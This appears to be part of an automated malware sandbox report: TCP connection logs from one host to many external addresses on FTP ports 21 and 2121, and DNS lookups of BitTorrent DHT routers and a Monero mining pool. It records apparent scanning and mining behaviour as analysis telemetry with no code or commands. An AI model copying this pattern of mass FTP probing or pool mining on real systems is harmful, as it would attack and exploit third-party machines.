Aug 23, 2023 09:16:54.258797884 CEST	52754	2121	192.168.2.3	93.199.253.181
Aug 23, 2023 09:16:54.259090900 CEST	52731	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:54.269478083 CEST	2121	52743	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.271018028 CEST	2121	52743	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.271384001 CEST	52743	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.275919914 CEST	21	52713	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:54.276272058 CEST	52713	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:54.287888050 CEST	21	52719	109.94.210.101	192.168.2.3
Aug 23, 2023 09:16:54.289747953 CEST	21	52741	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.290852070 CEST	52741	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.290915012 CEST	52755	21	192.168.2.3	41.203.215.141
Aug 23, 2023 09:16:54.306986094 CEST	2121	52743	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.307061911 CEST	21	52741	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.307142019 CEST	21	52741	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.307167053 CEST	21	52741	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.307526112 CEST	52743	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.307641983 CEST	52741	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.307914019 CEST	52741	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.308703899 CEST	52756	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.321854115 CEST	52757	2121	192.168.2.3	41.203.215.141
Aug 23, 2023 09:16:54.324450970 CEST	21	52741	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.324533939 CEST	52758	21	192.168.2.3	200.10.180.50
Aug 23, 2023 09:16:54.325046062 CEST	21	52756	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.326020002 CEST	52756	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.340466022 CEST	2121	52743	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.341059923 CEST	2121	52743	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.341269970 CEST	52743	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.341886997 CEST	52743	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.346354961 CEST	52759	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.356637955 CEST	21	52709	212.35.212.150	192.168.2.3
Aug 23, 2023 09:16:54.356885910 CEST	52709	21	192.168.2.3	212.35.212.150
Aug 23, 2023 09:16:54.368170023 CEST	52760	2121	192.168.2.3	200.10.180.50
Aug 23, 2023 09:16:54.373930931 CEST	2121	52743	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.375325918 CEST	2121	52759	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.375474930 CEST	52759	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.384911060 CEST	21	52745	190.188.122.225	192.168.2.3
Aug 23, 2023 09:16:54.389149904 CEST	21	52747	103.29.70.92	192.168.2.3
Aug 23, 2023 09:16:54.390702009 CEST	2121	52746	190.188.122.225	192.168.2.3
Aug 23, 2023 09:16:54.404520988 CEST	2121	52748	103.29.70.92	192.168.2.3
Aug 23, 2023 09:16:54.415275097 CEST	52761	21	192.168.2.3	122.179.212.137
Aug 23, 2023 09:16:54.430529118 CEST	21	52731	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:54.430583000 CEST	21	52731	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:54.430783033 CEST	52731	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:54.431483984 CEST	52731	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:54.431938887 CEST	52762	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:54.439553022 CEST	21	52742	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:54.441390038 CEST	52742	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:54.446374893 CEST	52715	21	192.168.2.3	39.122.57.130
Aug 23, 2023 09:16:54.476799011 CEST	52724	2121	192.168.2.3	109.94.210.101
Aug 23, 2023 09:16:54.489475965 CEST	21	52713	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:54.489595890 CEST	21	52713	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:54.489641905 CEST	21	52713	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:54.491507053 CEST	52713	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:54.494673014 CEST	52713	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:54.496360064 CEST	52763	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:54.516952991 CEST	21	52756	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.522341967 CEST	52756	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.522799015 CEST	2121	52724	109.94.210.101	192.168.2.3
Aug 23, 2023 09:16:54.524574995 CEST	52764	2121	192.168.2.3	122.179.212.137
Aug 23, 2023 09:16:54.540771008 CEST	21	52756	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.540795088 CEST	21	52756	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.544718027 CEST	52756	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.554850101 CEST	52718	2121	192.168.2.3	39.122.57.130
Aug 23, 2023 09:16:54.561033964 CEST	21	52756	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.571449041 CEST	52765	21	192.168.2.3	96.9.157.87
Aug 23, 2023 09:16:54.572829008 CEST	2121	52759	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.578325987 CEST	52759	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.602607012 CEST	21	52731	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:54.603236914 CEST	21	52762	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:54.605509996 CEST	52762	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:54.610833883 CEST	2121	52759	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.612055063 CEST	2121	52759	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.613255024 CEST	52759	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.624161959 CEST	21	52756	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.625926971 CEST	52756	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.642276049 CEST	21	52756	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.642303944 CEST	21	52756	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.642318964 CEST	21	52756	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.642589092 CEST	52756	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.642589092 CEST	52756	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.643218994 CEST	52766	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.644975901 CEST	2121	52759	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.646256924 CEST	52759	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.659594059 CEST	21	52766	46.251.235.80	192.168.2.3
Aug 23, 2023 09:16:54.660890102 CEST	2121	52760	200.10.180.50	192.168.2.3
Aug 23, 2023 09:16:54.661098957 CEST	52766	21	192.168.2.3	46.251.235.80
Aug 23, 2023 09:16:54.670059919 CEST	21	52742	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:54.670288086 CEST	21	52742	181.215.134.20	192.168.2.3
Aug 23, 2023 09:16:54.675581932 CEST	52742	21	192.168.2.3	181.215.134.20
Aug 23, 2023 09:16:54.675825119 CEST	2121	52759	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.676018000 CEST	52759	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.676347971 CEST	2121	52759	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.676486969 CEST	52759	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.676651955 CEST	52767	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.695509911 CEST	52681	2121	192.168.2.3	38.152.52.22
Aug 23, 2023 09:16:54.696335077 CEST	52682	21	192.168.2.3	73.197.37.107
Aug 23, 2023 09:16:54.704875946 CEST	2121	52759	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.705653906 CEST	2121	52767	95.85.215.156	192.168.2.3
Aug 23, 2023 09:16:54.705897093 CEST	52767	2121	192.168.2.3	95.85.215.156
Aug 23, 2023 09:16:54.707828045 CEST	21	52713	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:54.709837914 CEST	21	52763	41.85.20.17	192.168.2.3
Aug 23, 2023 09:16:54.712512970 CEST	52763	21	192.168.2.3	41.85.20.17
Aug 23, 2023 09:16:54.726738930 CEST	52683	2121	192.168.2.3	73.197.37.107
Aug 23, 2023 09:16:54.727135897 CEST	52685	2121	192.168.2.3	93.84.158.203
Aug 23, 2023 09:16:54.727335930 CEST	52684	21	192.168.2.3	93.84.158.203
Aug 23, 2023 09:16:54.732764959 CEST	21	52715	39.122.57.130	192.168.2.3
Aug 23, 2023 09:16:54.735152006 CEST	52768	2121	192.168.2.3	96.9.157.87
Aug 23, 2023 09:16:54.742362022 CEST	52686	21	192.168.2.3	70.118.175.173
Aug 23, 2023 09:16:54.742480040 CEST	52688	21	192.168.2.3	20.119.37.93
Aug 23, 2023 09:16:54.742480040 CEST	52687	2121	192.168.2.3	70.118.175.173
Aug 23, 2023 09:16:54.802253962 CEST	21	52762	45.136.233.16	192.168.2.3
Aug 23, 2023 09:16:54.802823067 CEST	52762	21	192.168.2.3	45.136.233.16
Aug 23, 2023 09:16:54.852157116 CEST	21	52766	46.251.235.80	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 23, 2023 09:14:28.197827101 CEST	192.168.2.3	8.8.8.8	0x7f4d	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:28.754009962 CEST	192.168.2.3	8.8.8.8	0xfb23	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:28.779814005 CEST	192.168.2.3	8.8.8.8	0x57e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:28.850066900 CEST	192.168.2.3	8.8.8.8	0x7c8f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:29.196620941 CEST	192.168.2.3	8.8.8.8	0x3ac	Standard query (0)	xmr.crypto-pool.fr	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:29.391993999 CEST	192.168.2.3	8.8.8.8	0x84c6	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:29.432466030 CEST	192.168.2.3	8.8.8.8	0x62e9	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:29.483423948 CEST	192.168.2.3	8.8.8.8	0xa2e5	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:30.139056921 CEST	192.168.2.3	8.8.8.8	0x3842	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:31.925872087 CEST	192.168.2.3	8.8.8.8	0x96aa	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:31.957393885 CEST	192.168.2.3	8.8.8.8	0x2d5d	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:31.990672112 CEST	192.168.2.3	8.8.8.8	0xdb5	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.101557016 CEST	192.168.2.3	8.8.8.8	0xd4b3	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.189352989 CEST	192.168.2.3	8.8.8.8	0x94e	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.217888117 CEST	192.168.2.3	8.8.8.8	0xf3b7	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.241816044 CEST	192.168.2.3	8.8.8.8	0xaf0a	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.371880054 CEST	192.168.2.3	8.8.8.8	0xd254	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.515481949 CEST	192.168.2.3	8.8.8.8	0x7969	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.627074003 CEST	192.168.2.3	8.8.8.8	0x329e	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.751673937 CEST	192.168.2.3	8.8.8.8	0xc653	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.834419966 CEST	192.168.2.3	8.8.8.8	0x3a0d	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.903552055 CEST	192.168.2.3	8.8.8.8	0xb1e1	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.936537981 CEST	192.168.2.3	8.8.8.8	0xdbca	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:32.971098900 CEST	192.168.2.3	8.8.8.8	0xded7	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.047992945 CEST	192.168.2.3	8.8.8.8	0x8e0f	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.261837959 CEST	192.168.2.3	8.8.8.8	0xa9d9	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.288224936 CEST	192.168.2.3	8.8.8.8	0xd76d	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.390954971 CEST	192.168.2.3	8.8.8.8	0x930e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.451239109 CEST	192.168.2.3	8.8.8.8	0xbe6f	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.470222950 CEST	192.168.2.3	8.8.8.8	0xd517	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.495996952 CEST	192.168.2.3	8.8.8.8	0x1d5e	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.523418903 CEST	192.168.2.3	8.8.8.8	0xebfb	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:33.581119061 CEST	192.168.2.3	8.8.8.8	0x9254	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:37.619937897 CEST	192.168.2.3	8.8.8.8	0xb570	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:37.781279087 CEST	192.168.2.3	8.8.8.8	0x2d14	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:37.911067009 CEST	192.168.2.3	8.8.8.8	0xe6d0	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:37.956933022 CEST	192.168.2.3	8.8.8.8	0xa11c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:37.986243963 CEST	192.168.2.3	8.8.8.8	0xadd5	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.015924931 CEST	192.168.2.3	8.8.8.8	0x684c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.095599890 CEST	192.168.2.3	8.8.8.8	0x9f08	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.128194094 CEST	192.168.2.3	8.8.8.8	0x2a0e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.222317934 CEST	192.168.2.3	8.8.8.8	0x11e6	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.294326067 CEST	192.168.2.3	8.8.8.8	0xd078	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.317658901 CEST	192.168.2.3	8.8.8.8	0x2dd9	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.350843906 CEST	192.168.2.3	8.8.8.8	0x3e25	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.435415983 CEST	192.168.2.3	8.8.8.8	0xad7e	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.576597929 CEST	192.168.2.3	8.8.8.8	0xd493	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.640485048 CEST	192.168.2.3	8.8.8.8	0xcac7	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:38.672101974 CEST	192.168.2.3	8.8.8.8	0x9c75	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.066643000 CEST	192.168.2.3	8.8.8.8	0xe681	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.235615015 CEST	192.168.2.3	8.8.8.8	0x4318	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.374277115 CEST	192.168.2.3	8.8.8.8	0xbb8e	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.394983053 CEST	192.168.2.3	8.8.8.8	0x4954	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.541296005 CEST	192.168.2.3	8.8.8.8	0x2be3	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.635801077 CEST	192.168.2.3	8.8.8.8	0x1f84	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.761653900 CEST	192.168.2.3	8.8.8.8	0x4e42	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.859126091 CEST	192.168.2.3	8.8.8.8	0x3086	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:39.974961042 CEST	192.168.2.3	8.8.8.8	0x171d	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.049504042 CEST	192.168.2.3	8.8.8.8	0xf839	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.083699942 CEST	192.168.2.3	8.8.8.8	0xd9b7	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.153884888 CEST	192.168.2.3	8.8.8.8	0x2bd5	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.187342882 CEST	192.168.2.3	8.8.8.8	0x1798	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.262655973 CEST	192.168.2.3	8.8.8.8	0xf542	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.294560909 CEST	192.168.2.3	8.8.8.8	0xea3c	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:40.353487015 CEST	192.168.2.3	8.8.8.8	0x9605	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:44.801624060 CEST	192.168.2.3	8.8.8.8	0x39c3	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:44.830826044 CEST	192.168.2.3	8.8.8.8	0x79e5	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:44.923732042 CEST	192.168.2.3	8.8.8.8	0xacfb	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:44.947477102 CEST	192.168.2.3	8.8.8.8	0xc6dd	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.086581945 CEST	192.168.2.3	8.8.8.8	0x923f	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.185601950 CEST	192.168.2.3	8.8.8.8	0x9534	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.260354996 CEST	192.168.2.3	8.8.8.8	0x9abc	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.297652960 CEST	192.168.2.3	8.8.8.8	0xe76f	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.458947897 CEST	192.168.2.3	8.8.8.8	0x7d12	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.595397949 CEST	192.168.2.3	8.8.8.8	0xbeda	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.757301092 CEST	192.168.2.3	8.8.8.8	0x305b	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.855283976 CEST	192.168.2.3	8.8.8.8	0xbb62	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:45.972654104 CEST	192.168.2.3	8.8.8.8	0x19e0	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:46.034085989 CEST	192.168.2.3	8.8.8.8	0x3b1c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:46.058628082 CEST	192.168.2.3	8.8.8.8	0x1609	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:46.078943014 CEST	192.168.2.3	8.8.8.8	0x3d5d	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:47.895893097 CEST	192.168.2.3	8.8.8.8	0x7097	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:47.928005934 CEST	192.168.2.3	8.8.8.8	0x8e04	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.034606934 CEST	192.168.2.3	8.8.8.8	0xca21	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.157313108 CEST	192.168.2.3	8.8.8.8	0x5a5	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.216402054 CEST	192.168.2.3	8.8.8.8	0x6c96	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.245872021 CEST	192.168.2.3	8.8.8.8	0xf4dd	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.319492102 CEST	192.168.2.3	8.8.8.8	0x8bb5	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.353209972 CEST	192.168.2.3	8.8.8.8	0x165f	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.424163103 CEST	192.168.2.3	8.8.8.8	0xc90c	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.469661951 CEST	192.168.2.3	8.8.8.8	0xeba7	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.526709080 CEST	192.168.2.3	8.8.8.8	0x38c	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.555164099 CEST	192.168.2.3	8.8.8.8	0x2d2a	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.638542891 CEST	192.168.2.3	8.8.8.8	0xd840	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.663055897 CEST	192.168.2.3	8.8.8.8	0xb3c1	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.697520971 CEST	192.168.2.3	8.8.8.8	0x9b09	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:48.773792028 CEST	192.168.2.3	8.8.8.8	0xd5ed	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.033319950 CEST	192.168.2.3	8.8.8.8	0x671e	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.060905933 CEST	192.168.2.3	8.8.8.8	0x3220	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.136519909 CEST	192.168.2.3	8.8.8.8	0x10b6	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.161073923 CEST	192.168.2.3	8.8.8.8	0xa51	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.197793961 CEST	192.168.2.3	8.8.8.8	0x3d4	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.276489973 CEST	192.168.2.3	8.8.8.8	0xc008	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.295967102 CEST	192.168.2.3	8.8.8.8	0x7151	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:50.356204033 CEST	192.168.2.3	8.8.8.8	0xdc22	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:52.769277096 CEST	192.168.2.3	8.8.8.8	0x5b7	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:52.798047066 CEST	192.168.2.3	8.8.8.8	0x29eb	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:52.824615955 CEST	192.168.2.3	8.8.8.8	0x5095	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:52.953835011 CEST	192.168.2.3	8.8.8.8	0x3e36	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:53.333990097 CEST	192.168.2.3	8.8.8.8	0xac52	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:53.626034021 CEST	192.168.2.3	8.8.8.8	0x5afd	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:53.790880919 CEST	192.168.2.3	8.8.8.8	0x8ccc	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.363852978 CEST	192.168.2.3	8.8.8.8	0xdf7e	Standard query (0)	bttracker.debian.org	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.452716112 CEST	192.168.2.3	8.8.8.8	0xeb83	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.503590107 CEST	192.168.2.3	8.8.8.8	0x1576	Standard query (0)	dht.transmissionbt.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.537728071 CEST	192.168.2.3	8.8.8.8	0x18a1	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.571613073 CEST	192.168.2.3	8.8.8.8	0x1e98	Standard query (0)	router.bittorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.637068987 CEST	192.168.2.3	8.8.8.8	0x70f	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
Aug 23, 2023 09:14:54.725395918 CEST	192.168.2.3	8.8.8.8	0x879c	Standard query (0)	router.utorrent.com	A (IP address)	IN (0x0001)	false
